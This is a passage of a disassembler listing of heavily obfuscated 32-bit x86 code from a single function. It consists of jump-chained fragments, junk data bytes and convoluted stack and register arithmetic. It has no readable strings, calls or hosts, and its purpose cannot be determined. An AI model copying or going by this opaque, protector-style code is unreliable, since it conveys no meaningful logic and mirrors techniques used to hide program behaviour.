		dd 1687F32h, 324305F8h,	0EC83687Fh, 240C8904h, 8F172EB9h
		dd 36E90571h, 0C801597Fh, 7F36E92Dh, 72E95959h
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F363:				; CODE XREF: sub_542C3C+19392j
		pop	eax
		add	esp, 4
		push	ebx
		jmp	loc_564DDE
; ---------------------------------------------------------------------------

loc_55F370:				; CODE XREF: sub_542C3C+12120j
		pop	eax
		push	3C6Eh
		mov	[esp+74h+var_74], ebp
		jmp	loc_565609
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFF8024h, 14F75149h, 240C8B24h, 4C481h, 0E9810000h
		dd 0DD0AA01h, 8159CF09h, 4ECh, 24348900h, 912F75BEh, 57CE812Eh
		dd 4663C95Bh, 71E1CE81h, 0F6811D0Fh, 4193211Ah,	7A2FE681h
		dd 0EE81735Ah, 0D8202639h, 505EF709h, 0DC3E79B8h, 2F020556h
		dd 4AE92796h, 0BF000026h, 46C105CAh, 0FF8BC2E9h, 30C581FFh
		dd 0E92C0D21h, 0FFFF8D6Ch, 0E9DE0158h, 0FFFFF187h, 0D02836B2h
		dd 74E95A66h, 3300007Ah, 0FF5C2414h, 0C8B2434h,	4C48324h
		dd 561068h, 0D889E900h,	0E981FFFFh, 1D5535F9h, 0C181D901h
		dd 1D5535F9h, 0FFD46BE9h, 4D800FFh, 1EB15156h
		db 28h,	0C8h, 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_553C87
; ---------------------------------------------------------------------------
		db 0D0h, 0E7h, 80h
		dd 0C78039CFh, 5BFA3088h, 28ADEA80h, 62A3E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F45A:				; CODE XREF: sub_542C3C+23882j
		mov	esp, [esp+78h+var_78]
		sub	esp, 4
		mov	[esp+7Ch+var_7C], ecx
		sub	esp, 4
		mov	[esp+80h+var_80], esi
		jmp	loc_55C924
; ---------------------------------------------------------------------------
		dw 2068h
		dd 8900000Eh, 0EC83242Ch, 243C8904h, 1C4306BFh,	4EC834Dh
		dd 727CE9h, 24048F00h, 3AB9E95Ch, 1C870000h, 24248B24h
		dd 0E9243489h, 9107h, 59CE015Fh, 5C243487h, 0E9028864h
		dd 0FFFF8550h, 339B68h,	6C34E900h, 222C0000h, 4EC81h, 0C890000h
		dd 2AB35324h, 0EB80DBF6h, 533BB1F9h, 0FFF785E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F4D5:				; CODE XREF: sub_542C3C+16B07j
		add	eax, 2C8F0AA8h
		add	eax, edx
		push	edi
		jmp	loc_5574FE
; ---------------------------------------------------------------------------

loc_55F4E2:				; CODE XREF: sub_542C3C+18FA8j
		push	309917FAh
		jmp	loc_5599BD
; ---------------------------------------------------------------------------
		dd 5256E829h, 26CFBF57h, 0FA89639Bh, 5395BE5Fh,	0D63106C0h
		dd 0EDCE815Ah, 0E95EDB0Ch, 0FFFF535Ch, 83242489h, 8B042404h
		dd 81532414h, 4ECh, 4F1E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F522:				; CODE XREF: sub_542C3C+16D56j
		pop	edx
		mov	ecx, [esp+9Ah+var_9C+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	ebp

loc_55F53A:				; CODE XREF: sub_542C3C+18D26j
		push	5034h
		mov	[esp+9Ah+var_9C+2], esi
		jmp	loc_556C2D
; ---------------------------------------------------------------------------
		db 89h
		dd 3FB82404h, 94E0654h,	0B95158C7h, 20004D94h, 0FF5679E9h
		dd 5E8F68FFh, 0E95E5B2Dh, 0FFFFFA4Dh
; ---------------------------------------------------------------------------

loc_55F568:				; CODE XREF: sub_542C3C+1BF25j
		xchg	ebp, [esp+0A2h+var_A2]
		jmp	loc_55C6D8
; ---------------------------------------------------------------------------
		dd 0AE1F52BAh, 4DC2815Eh, 68349148h, 1644h, 0BD242C89h
		dd 58070FF6h, 1ED81h, 29E90000h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55F593:				; CODE XREF: sub_542C3C+1C53Dj
		push	edi
		inc	[esp+9Ch+var_9C]
		pop	edi
		shl	edi, 4
		jmp	loc_568856
; ---------------------------------------------------------------------------
		dd 0C105E9C1h, 0E1C106E1h, 0E8DEE908h, 0F901FFFFh, 240C875Fh
		dd 4EC815Ch, 89000000h,	45E92414h, 64FFFF5Ch, 0F7E932FFh
		dd 29FFFF95h, 0BF52E9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F5D2:				; CODE XREF: sub_542C3C+148D2j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 6D993FC7h
		or	ecx, 60725207h
		shr	ecx, 6
		jmp	loc_563EA4
; ---------------------------------------------------------------------------

loc_55F5EB:				; CODE XREF: sub_542C3C+22A9Cj
		mov	edx, [esp]
		add	esp, 4
		or	ebp, 24C9372Bh
		jmp	loc_558841
; ---------------------------------------------------------------------------
		db 58h
		dd 59D8BE56h, 0E3E9726Ch, 83000010h, 248904ECh,	4BE5624h
		dd 1000000h, 5E042474h,	0E92434FFh, 385h, 89CA8952h, 4B56E9D0h
		dd 51460000h, 0EC52C0B9h, 55D1F70Dh, 0A330B7BDh, 0CAF5815Dh
		dd 31D3A41Eh, 0CE295DE9h, 6BC18159h, 14A5B2Dh, 6BE981F1h
		dd 0E94A5B2Dh, 46D0h
; ---------------------------------------------------------------------------

loc_55F65C:				; CODE XREF: sub_542C3C+14D0Aj
		pop	esp
		sub	esp, 4
		jmp	loc_561940
; ---------------------------------------------------------------------------
		db 5Dh,	31h, 54h
		dd 65E90424h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F66F:				; CODE XREF: sub_542C3C+1801Ej
		shl	ebx, 7
		not	ebx
		add	ebx, 8FC1555Fh
		sub	eax, 49BA416Ch
		jmp	loc_556626
; ---------------------------------------------------------------------------
		dd 589FC380h, 0E950F328h, 0FFFFCB26h
; ---------------------------------------------------------------------------

loc_55F690:				; CODE XREF: sub_542C3C+13F7Aj
		push	esi
		jmp	loc_55E22A
; ---------------------------------------------------------------------------
		dw 0CF81h
		dd 58164252h, 0FFFB1DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F6A1:				; CODE XREF: sub_542C3C+1DAADj
		mov	eax, 5F446843h
		xor	ebx, eax
		mov	eax, [esp+80h+var_80]
		add	esp, 4
		push	ebp
		mov	ebp, ebx
		mov	esi, ebp
		pop	ebp
		jmp	loc_563307
; ---------------------------------------------------------------------------
		dd 33241C31h, 685C241Ch, 16A4h,	54240C89h, 592434FFh, 4C481h
		dd 0C1810000h, 4, 4C181h, 0C870000h, 24248B24h,	4C781h
		dd 0C7810000h, 2, 0E9243C87h, 0FFFFB4A2h
; ---------------------------------------------------------------------------

loc_55F6FC:				; CODE XREF: sub_542C3C+158E6j
		pop	esp
		mov	[esp+0A2h+var_A2], ecx
		mov	ecx, esp
		push	ebx
		jmp	loc_55A7A9
; ---------------------------------------------------------------------------
		dd 5075EF80h, 0A52C6EB0h, 0E958C730h, 0FFFFBFD8h, 81243C8Bh
		dd 4C4h, 14875E00h, 24248B24h, 0E99CC885h, 0FFFF3E1Ch
		dd 2552F581h, 0EF2909A0h, 8C7AE9h
		db 0
; ---------------------------------------------------------------------------

loc_55F73D:				; CODE XREF: sub_542C3C+1C2B6j
		pop	ebp
		mov	ebx, ecx
		jmp	loc_55A35D
; ---------------------------------------------------------------------------
		db 0B9h, 0BDh, 0CFh
		dd 0E98118C0h, 11A0D55h, 31E9F101h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F757:				; CODE XREF: sub_542C3C+257F8j
		shl	ah, 7
		xor	ah, 0A8h
		push	eax
		not	byte ptr [esp+94h+var_94+1]
		pop	eax
		jmp	loc_5571E9
; ---------------------------------------------------------------------------
		dd 0FF5FC180h, 83582434h, 0C18004C4h, 0E9CF08F7h, 0FFFF6522h
		dd 5984ED81h, 0CD81E872h, 66D52388h, 0E581EDD1h, 3EAC6679h
		dd 0F581D5F7h, 0E559DC69h, 52E9EB29h, 87FFFF9Bh, 875C241Ch
		dd 295C2414h, 0E99C2404h, 0FFFF3D9Ch
; ---------------------------------------------------------------------------

loc_55F7B0:				; CODE XREF: sub_542C3C+1193Bj
		sub	ebp, 0DE14F5C7h
		add	eax, ebp
		jmp	loc_561AD4
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 8Eh
		dd 81749D5Bh, 406998C2h, 23CA8135h, 0C1631B40h,	834A07EAh
		dd 48904ECh, 0A6BD5524h, 0F7200A7Eh, 70ED81DDh,	0E94E4E2Bh
		dd 55FFh, 81D5F745h, 386C3AE5h,	4C58143h, 50BFEFBCh, 4736E9h
		dd 2474FF00h, 2434FF04h, 0E924048Bh, 41CBh, 21FD6866h
		dd 240C8966h, 0B8665066h, 89664B32h, 665866C1h,	401EC181h
		dd 6602EC83h, 66240C89h, 66243C87h, 8766DFF7h, 41E9243Ch
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55F83F:				; CODE XREF: sub_542C3C+1A842j
		xchg	eax, ebp
		not	ebp
		jmp	loc_561B98
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 14842D04h, 34FF7AC6h, 241C8B24h,	4C481h
		dd 0C4810000h, 4, 0FFFAC3E9h, 2782BAFFh, 0D729798Bh, 0A008E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F876:				; CODE XREF: sub_542C3C+24CE9j
		mov	ebp, 0FC26EE8h
		push	edx
		mov	edx, 5A610A2Fh
		add	esi, edx
		pop	edx
		add	esi, 589A7877h
		sub	esi, ebp
		sub	esi, 589A7877h
		sub	esi, 5A610A2Fh
		pop	ebp
		add	esi, edx
		sub	esp, 4
		mov	[esp+50h+var_50], ebp
		mov	ebp, 0FC26EE8h
		jmp	loc_55A13F
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0C483241Ch, 720AE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F8BA:				; CODE XREF: sub_542C3C+1D7BCj
		push	ebx
		push	ebp
		jmp	loc_565210
; ---------------------------------------------------------------------------
aIIcs		db '‰<$‰çé³/',0
		dw 8900h
aSV		db 'Îé¸v',0
		align 2

loc_55F8D2:				; CODE XREF: sub_542C3C+1E81Fj
		push	edx
		sub	esp, 4
		mov	[esp+60h+var_60], ecx
		mov	ecx, 64BD2ABCh
		inc	ecx
		shr	ecx, 7
		add	ecx, 40B215EBh
		and	ecx, 6B1D0882h
		add	ecx, 0EDC86180h
		mov	edx, ecx
		pop	ecx
		sub	edx, 0FFFFFFFFh
		push	edx
		not	[esp+60h+var_60]
		pop	edx
		xor	edx, 6A28090Eh
		add	edx, 0FFFFFFFFh
		not	edx
		sub	edx, 0CC2E00C7h
		xor	ebp, edx
		mov	edx, [esp+5Ch+var_5C]
		add	esp, 4
		mov	ecx, ebp
		pop	ebp
		jmp	loc_55EF75
; ---------------------------------------------------------------------------

loc_55F923:				; CODE XREF: sub_542C3C+1E6F0j
		add	ebx, 10028013h
		and	eax, ebx
		push	[esp+54h+var_54]
		mov	ebx, [esp+58h+var_58]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_55AB88
		push	eax
		jmp	loc_560F01
; ---------------------------------------------------------------------------
		dd 0B2E9D1F7h, 0B800002Ch, 54434C95h, 345AE9h, 0A2E95900h
		dd 68000046h, 6C40h, 68243C89h,	32022714h, 0B6BBE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F972:				; CODE XREF: sub_542C3C+20A8Ej
		add	edx, esi
		pop	esi
		sub	edx, 4
		xchg	edx, [esp+50h+var_50]
		pop	esp
		mov	[esp+4Ch+var_4C], eax
		mov	eax, 41555243h
		not	eax
		xor	eax, 0BEAAADB8h
		jmp	loc_5542A3
; ---------------------------------------------------------------------------

loc_55F990:				; CODE XREF: sub_542C3C+15DF5j
		mov	cl, ah
		jmp	loc_5569A6
; ---------------------------------------------------------------------------

loc_55F997:				; CODE XREF: sub_542C3C+1B0E1j
		sub	esi, edx
		sub	esi, 60EB332Fh
		pop	edx
		xor	ebx, esi
		pop	esi
		push	edx
		jmp	loc_55D711
; ---------------------------------------------------------------------------
a_vsS		db '_Véšs',0
		align 10h

loc_55F9B0:				; CODE XREF: sub_542C3C+1F737j
		pop	ebx
		add	ebx, 4
		jmp	loc_55EDAB
; ---------------------------------------------------------------------------

loc_55F9BC:				; CODE XREF: sub_542C3C+19575j
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		sub	edi, 4
		xchg	edi, [esp+0A6h+var_A6]
		pop	esp
		mov	[esp+0A2h+var_A2], ebx
		mov	ebx, 7FE74AEh
		shr	ebx, 1
		push	eax
		mov	eax, 53355A70h
		jmp	loc_55B39F
; ---------------------------------------------------------------------------
		db 80h
		dd 0CAFE70E2h, 42E1E9h
		db 0
; ---------------------------------------------------------------------------

loc_55F9F1:				; CODE XREF: sub_542C3C+17CB1j
		push	[esp+0A6h+var_A2]
		pop	ebp
		jmp	loc_55937C
; ---------------------------------------------------------------------------

loc_55F9FB:				; CODE XREF: sub_542C3C+18103j
		sub	edx, eax
		pop	eax
		sub	eax, edx
		pop	edx
		push	ebx
		mov	ebx, esp
		jmp	loc_5536BB
; ---------------------------------------------------------------------------
		db 0BAh, 0D3h, 4Bh
		dd 0B5E90F1Bh, 89000074h, 4812424h, 424h, 0C3815B00h, 4
		dd 68B4E9h
		db 0
; ---------------------------------------------------------------------------

loc_55FA29:				; CODE XREF: sub_542C3C+20918j
		sub	esp, 4
		mov	[esp+0A6h+var_A6], eax
		push	[esp+0A6h+var_A2]
		mov	eax, [esp+0AAh+var_AA]
		sub	esp, 4
		mov	[esp+0AEh+var_AE], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_556D04
; ---------------------------------------------------------------------------
		dw 0CD80h
		dd 80DDF6DCh, 0EA28ACF5h, 26C28059h, 0E95AD530h, 0FFFF7BC1h
; ---------------------------------------------------------------------------

loc_55FA64:				; CODE XREF: sub_542C3C+1EA5Bj
		mov	esp, [esp+0B2h+var_B2]
		jmp	loc_567E4C
; ---------------------------------------------------------------------------

loc_55FA6C:				; CODE XREF: sub_542C3C+20E10j
		xor	bh, al
		pop	eax
		or	al, bh
		pop	ebx
		push	bx
		jmp	loc_563CFD
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 7276E9h
		db 0
; ---------------------------------------------------------------------------

loc_55FA81:				; CODE XREF: sub_542C3C+229C8j
		pop	eax
		add	edi, esi
		mov	esi, [esp+0A8h+var_AA+2]
		add	esp, 4
		push	edx
		mov	edx, edi
		mov	ebp, edx
		jmp	loc_553A41
; ---------------------------------------------------------------------------

loc_55FA94:				; CODE XREF: sub_542C3C+204CEj
		or	ebp, 17DB3411h
		not	ebp
		shl	ebp, 2
		push	ebx
		mov	ebx, 0FF58D7E1h
		jmp	loc_562227
; ---------------------------------------------------------------------------
		dw 8850h
		dd 0C58851E8h, 8B59EA88h, 0C4812404h, 4, 0D588DAF6h, 80D5F65Ah
		dd 0EB00F6F5h, 0FF6D23E9h, 0E3BF57FFh, 0E977DA61h, 0FFFF8D74h
; ---------------------------------------------------------------------------

loc_55FAD8:				; CODE XREF: sub_542C3C+20A80j
		add	bl, dh
		mov	edx, [esp+0ACh+var_AE+2]
		add	esp, 4
		sub	bl, al
		jmp	loc_563A41
; ---------------------------------------------------------------------------

loc_55FAEA:				; CODE XREF: sub_542C3C+1101Dj
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55CD19
; ---------------------------------------------------------------------------
		db 0B3h
		dd 0D5C18007h, 5FE9D928h, 0FFFFFFAEh, 8B042474h, 16E9242Ch
		dd 89000049h, 4C581E5h,	0E9000000h, 0FFFFD0C3h,	0EA81D2F7h
		dd 3880D1A7h, 215AD789h, 768EE9FBh, 75BDFFFFh, 891FC86Bh
		dd 0B95DE8h, 134FFB1h, 7E99E9C1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55FB42:				; CODE XREF: sub_542C3C+10E00j
		pop	[esp+44h+var_44]
		add	[esp+40h+var_40], 4
		push	[esp+40h+var_40]
		mov	ebp, [esp+44h+var_44]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_559A26
; ---------------------------------------------------------------------------

loc_55FB5D:				; CODE XREF: sub_542C3C+19D37j
		jmp	loc_55354C
; ---------------------------------------------------------------------------
		dw 0FF50h
		dd 58042474h, 6412E9h, 0C3885300h, 0FFE9DE88h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55FB77:				; CODE XREF: sub_542C3C+110C4j
		pop	eax
		push	eax
		mov	eax, 32EAE93Fh
		sub	ebx, eax
		mov	eax, [esp+60h+var_60]
		add	esp, 4
		push	esi
		push	ebx
		push	180E3F11h
		pop	ebx
		sub	ebx, 0DD9EE276h
		mov	esi, ebx
		pop	ebx
		and	ebx, esi
		pop	esi
		neg	ebx
		push	3700h
		mov	[esp+60h+var_60], ebp
		mov	ebp, esp
		push	edi
		jmp	loc_566AF6
; ---------------------------------------------------------------------------
		dd 5C240C33h, 7281E9h
		db 0
; ---------------------------------------------------------------------------

loc_55FBB5:				; CODE XREF: sub_542C3C+214EAj
		mov	[esp+64h+var_64], edx
		mov	edx, 1Ch
		add	edx, edi
		push	dword ptr [edx]
		push	eax
		jmp	loc_5639FF
; ---------------------------------------------------------------------------

loc_55FBC7:				; CODE XREF: sub_542C3C+1D718j
		sub	ebp, 70BA5897h
		sub	ebp, 75BBA1DDh
		jmp	loc_56608D
; ---------------------------------------------------------------------------
		dd 2B850h, 0C7010000h, 940AE958h, 2489FFFFh, 24048324h
		dd 0A8E95D04h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55FBF3:				; CODE XREF: sub_542C3C+12775j
		add	esp, 4
		add	esp, 4
		push	small 1CF8h
		mov	word ptr [esp+92h+var_94+2], cx
		push	985h
		jmp	loc_557CA4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0DFE9240Ch
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FC13:				; CODE XREF: sub_542C3C+1D28Bj
		mov	[esp+96h+var_98+2], ebp
		push	[esp+96h+var_94+2]
		push	[esp+9Ah+var_9C+2]
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_556587
; ---------------------------------------------------------------------------

loc_55FC29:				; CODE XREF: sub_542C3C+22D5Bj
		mov	edi, 582F0CF6h
		dec	edi
		push	esi
		mov	esi, 39901A39h
		jmp	loc_55DF63
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5452240Ch, 6699685Ah, 34890000h, 68525024h, 4040541Ah
		dd 8E2C15Ah, 6684F281h,	0D0891859h, 0FF60EFE9h,	84BD55FFh
		dd 0E97C707Eh, 0FFFF50A4h
; ---------------------------------------------------------------------------

loc_55FC6C:				; CODE XREF: sub_542C3C+10A7Aj
		mov	[esp+58h+var_58], esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_560E39
; ---------------------------------------------------------------------------
		dd 24048B66h, 81E78957h, 4C7h, 69BE5600h, 0E93D203Ah, 0FFFF9260h
		dd 8158C301h, 64087FC3h, 34EB816Dh, 0E900A057h,	40D4h
; ---------------------------------------------------------------------------

loc_55FCA8:				; CODE XREF: sub_542C3C+20155j
		pop	[esp+58h+var_58]
		jmp	loc_553A2E
; ---------------------------------------------------------------------------
		dd 2434335Ah, 33243431h, 665C2434h, 9C240CD3h, 0FF3887E9h
		dd 43E04FFh, 0ED0FE936h, 0EF83FFFFh, 243C8704h,	241C895Ch
		dd 4BBh, 5BDA2900h, 35A5E9h
		db 0
; ---------------------------------------------------------------------------

loc_55FCE5:				; CODE XREF: sub_542C3C+2142Fj
		mov	ebp, [esp+54h+var_54]
		add	esp, 4
		mov	esi, [esp+50h+var_50]
		add	esp, 4
		push	edx
		mov	edx, 2E6B5F6Ah
		add	edx, 7D3C544Ah
		shl	edx, 7
		jmp	loc_5618B1
; ---------------------------------------------------------------------------
		dd 3600C981h, 2AE96E2Ah, 8300002Ah, 0C48104C4h,	4, 36B35366h
		dd 8B66DE20h, 0C481241Ch, 2, 1B8DE9h
		db 0
; ---------------------------------------------------------------------------

loc_55FD31:				; CODE XREF: sub_542C3C+16713j
		add	ecx, 0E85E506Fh
		push	ebx
		mov	ebx, 56C47748h
		shr	ebx, 7
		shr	ebx, 5
		not	ebx
		dec	ebx
		add	ebx, 77C11B6h
		add	ebx, 578E920Bh
		add	esi, ebx
		pop	ebx
		jmp	loc_562509
; ---------------------------------------------------------------------------

loc_55FD5A:				; CODE XREF: sub_542C3C+1157Fj
		sub	eax, 52A2C3Ch
		jmp	loc_561FAB
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 0BD5504C4h, 72E8077Bh, 4AB7E9h
		db 0
; ---------------------------------------------------------------------------

loc_55FD75:				; CODE XREF: sub_542C3C+1F95Fj
		pop	esp
		mov	[esp+74h+var_74], ebp
		mov	ebp, 3E05E0Ah
		xor	edx, ebp
		jmp	loc_560ADC
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4
		dd 1000000h, 5904244Ch,	0FF37B7E9h, 2474FFFFh, 8015E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55FD9E:				; CODE XREF: sub_542C3C+1C6BDj
		mov	edi, 36330DB7h
		jmp	loc_564AC1
; ---------------------------------------------------------------------------

loc_55FDA8:				; CODE XREF: sub_542C3C+20496j
		xor	[esp+88h+var_88], edi
		xor	edi, [esp+88h+var_88]
		pop	esp
		cmp	ecx, eax
		pushf
		jmp	loc_55354C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4C78300h, 5C243C87h, 6C6FE9h
		db 0
; ---------------------------------------------------------------------------

loc_55FDC9:				; CODE XREF: sub_542C3C+1263Fj
		sub	edx, 4
		xchg	edx, [esp+0A2h+var_A2]
		mov	esp, [esp+0A2h+var_A2]
		mov	[esp+0A2h+var_A2], ebp
		jmp	loc_564B39
; ---------------------------------------------------------------------------
		db 0B8h, 2Eh, 1Bh
		dd 0C589018Fh, 8324048Bh, 0EA0104C4h, 8EC2815Dh, 524AA947h
		dd 0C281E289h, 4, 8704EA83h, 895C2414h,	0EC81241Ch, 4
		dd 0FF872AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55FE11:				; CODE XREF: sub_542C3C+20DCBj
		add	esp, 4
		xor	[esp+9Eh+var_9C+2], eax
		pop	eax
		mov	ecx, [esp+9Ah+var_9C+2]
		push	esi
		jmp	loc_55D64C
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0F000000h, 5F68C0B7h, 89000032h, 0E189240Ch,	64096857h
		dd 0E95F6BEFh, 0FFFFE748h
; ---------------------------------------------------------------------------

loc_55FE44:				; CODE XREF: sub_542C3C+2270Dj
		add	ebx, eax
		push	edi
		jmp	loc_55AF48
; ---------------------------------------------------------------------------

loc_55FE4C:				; CODE XREF: sub_542C3C+23080j
		mov	esi, edx
		push	edx
		mov	edx, esi
		mov	edi, edx
		jmp	loc_559B20
; ---------------------------------------------------------------------------
		dd 5304C483h, 473F7FBBh, 0E761E91Fh, 0E2BFFFFFh, 505FD06Dh
		dd 72C6E9h, 24348900h, 8760E9h
		db 0
; ---------------------------------------------------------------------------

loc_55FE79:				; CODE XREF: sub_542C3C+1A57Bj
		mov	esi, ebp
		mov	ebp, [esp+88h+var_88]
		push	edi
		push	esp
		jmp	loc_563F27
; ---------------------------------------------------------------------------
		db 0BAh, 0D1h, 7Ch
		dd 0E2D144F9h, 0FB7E9h
		db 0
; ---------------------------------------------------------------------------

loc_55FE91:				; CODE XREF: sub_542C3C+1F815j
		sub	esp, 4
		jmp	loc_562A87
; ---------------------------------------------------------------------------
		dd 0A7E9C201h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FEA3:				; CODE XREF: sub_542C3C+12496j
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_55FC13
; ---------------------------------------------------------------------------

loc_55FECC:				; CODE XREF: sub_542C3C+229D2j
		or	ebp, 57B61E37h
		push	ebx
		sub	esp, 4
		mov	[esp+0AAh+var_AA], ecx
		mov	ecx, 0FFFFFFFFh
		push	ecx
		sub	[esp+0AEh+var_AE], 9096C56h
		pop	ebx
		add	ebx, 9096C56h
		pop	ecx
		sub	ebp, ebx
		mov	ebx, [esp+0A6h+var_A6]
		add	esp, 4
		sub	ebp, 57B777B8h
		and	ecx, ebp
		push	[esp+0A2h+var_A2]
		jmp	loc_562AE2
; ---------------------------------------------------------------------------

loc_55FF06:				; CODE XREF: sub_542C3C+1D40Bj
		xchg	ecx, [esp+0A6h+var_A6]
		pop	esp
		jmp	loc_55C086
; ---------------------------------------------------------------------------
aQpIsxsD	db 'QP´ÐˆáXé{d',0
		dw 8700h
		dd 8BE9240Ch, 59FFFF5Ah, 0E9243486h, 0FFFF3620h, 0E6E95D54h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FF33:				; CODE XREF: sub_542C3C+1ED0Cj
		xor	esi, 33EA503Dh
		sub	esi, 0FFFFFFFFh
		add	esi, 1F36F0CDh
		jmp	loc_55D9C2
; ---------------------------------------------------------------------------

loc_55FF47:				; CODE XREF: sub_542C3C+1330Fj
		mov	[esp+54h+var_54], ebx
		push	ecx
		push	691A0A0Bh
		pop	ecx
		sub	ecx, 1
		push	edx
		mov	edx, 77B915CDh
		jmp	loc_560491
; ---------------------------------------------------------------------------
		db 40h
		dd 5307E8C1h, 875549BBh, 8BD8096Dh, 5457241Ch, 4C7815Fh
		dd 0E9000000h, 0FFFF808Eh, 85BBE941h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55FF82:				; CODE XREF: sub_542C3C+1DF6Dj
		sub	al, 6
		mov	edx, [esp+5Ch+var_5C]
		add	esp, 4
		push	ecx
		mov	ch, 76h
		sub	al, ch
		pop	ecx
		sub	al, 25h
		add	al, 5Fh
		add	al, ch
		jmp	loc_55C8A9
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 13666824h, 61E923C6h
		db 38h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FFAB:				; CODE XREF: sub_542C3C+19DC2j
		mov	cx, word ptr [esp+0A2h+var_A2]
		push	7F69h
		mov	[esp+0A6h+var_A6], ebx
		push	esp
		mov	ebx, [esp+0AAh+var_AA]
		add	esp, 4
		jmp	loc_5562C0
; ---------------------------------------------------------------------------
		dw 1C89h
aCmS		db '$»ÏCm]é%',0Ah,0
		dw 6600h
		dd 0E99CC885h, 0FFFF9E19h, 0B951E089h, 5EE6E43h, 5E9D1F7h
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FFEB:				; CODE XREF: sub_542C3C+11C48j
		add	edi, 4
		xchg	edi, [esp+80h+var_80]
		pop	esp
		add	edi, 4
		xchg	edi, [esp+7Ch+var_7C]
		pop	esp
		shr	ecx, 0Ah
		push	3411h
		mov	[esp+7Ch+var_7C], ecx
		push	edi
		jmp	loc_564EB3
; ---------------------------------------------------------------------------
		dw 3868h
		dd 5B29F354h, 3EB6EB81h, 0DBF73509h, 0EE6CBD55h, 4AE9FA53h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560023:				; CODE XREF: sub_542C3C+1892Bj
		add	esi, 444F581Bh
		shr	esi, 2
		jmp	loc_5550C1
; ---------------------------------------------------------------------------
		db 51h,	0FFh, 74h
		dd 0E9590424h, 0FFFF493Dh
; ---------------------------------------------------------------------------

loc_56003C:				; CODE XREF: sub_542C3C+189BCj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_55FF06
; ---------------------------------------------------------------------------
		dd 0FB274135h, 58C331FAh, 1C8BD801h, 0E9545624h, 0EAEh
		dd 31243C33h, 3C33243Ch, 915AE924h, 0E981FFFFh,	43BC40DDh
		dd 240C875Ah, 0FFC0C9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56007D:				; CODE XREF: sub_542C3C+25B1Fj
		push	edi
		mov	edi, 385F3D84h
		jmp	loc_567B6D
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 0FF36BAE9h, 242C8BFFh, 8104C483h, 2C1h
		dd 61B6800h, 0C890000h,	2474FF24h, 48F5904h, 68665C24h
		dd 6EE94176h, 89FFFF63h, 4C181E1h, 0E9000000h, 0FFFF38A4h
; ---------------------------------------------------------------------------

loc_5600C8:				; CODE XREF: sub_542C3C+207F8j
		pop	ebp
		jmp	loc_55C775
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 0FFAB09E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5600D5:				; CODE XREF: sub_542C3C+1EE2Cj
		push	ecx
		push	esp
		mov	ecx, [esp+9Ch+var_9C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+9Ch+var_9C], ebp
		mov	ebp, 4
		push	esi
		jmp	loc_55EEBF
; ---------------------------------------------------------------------------
		db 5Ah,	0FDh, 83h
		dd 348904ECh, 0A6824h, 34FF0000h, 2434FF24h, 49F3E9h
		db 0
; ---------------------------------------------------------------------------

loc_560109:				; CODE XREF: sub_542C3C+254A3j
		push	735A0B5Dh
		pop	ebp
		shr	ebp, 6
		jmp	loc_56796F
